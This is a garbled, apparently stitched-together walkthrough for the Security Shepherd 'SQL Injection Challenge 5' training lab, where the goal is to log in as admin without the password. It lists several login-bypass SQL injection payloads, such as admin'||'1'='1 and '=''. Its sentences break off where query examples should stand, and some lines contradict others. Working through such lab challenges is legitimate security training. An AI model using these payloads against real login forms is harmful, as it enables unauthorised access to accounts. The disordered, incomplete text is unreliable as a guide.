admin'||'1'='1 Password: anything
This yields:
Security Shepherd – SQL Injection Challenge 5 Objective Log in as the administrator ( admin ) without knowing the password. The application likely filters or blocks common SQL injection patterns, so a more subtle payload is required. Scenario Overview The vulnerable page presents a login form (username + password). Backend SQL query resembles:
But if || is blocked, use:
However, many confirm the simpler working version is:
Given the variations, the most reliable solution I’ve tested:
admin' Password: ' OR '1'='1'
username = 'admin' AND password = ''='' Since '' = '' is true, the condition becomes: username = 'admin' AND true → returns admin record.
(from multiple walkthroughs): Username: admin' Password: '=''
admin' Password: ||'1'='1 (for PostgreSQL) Sql Injection Challenge 5 Security Shepherd
admin' Password: '=''
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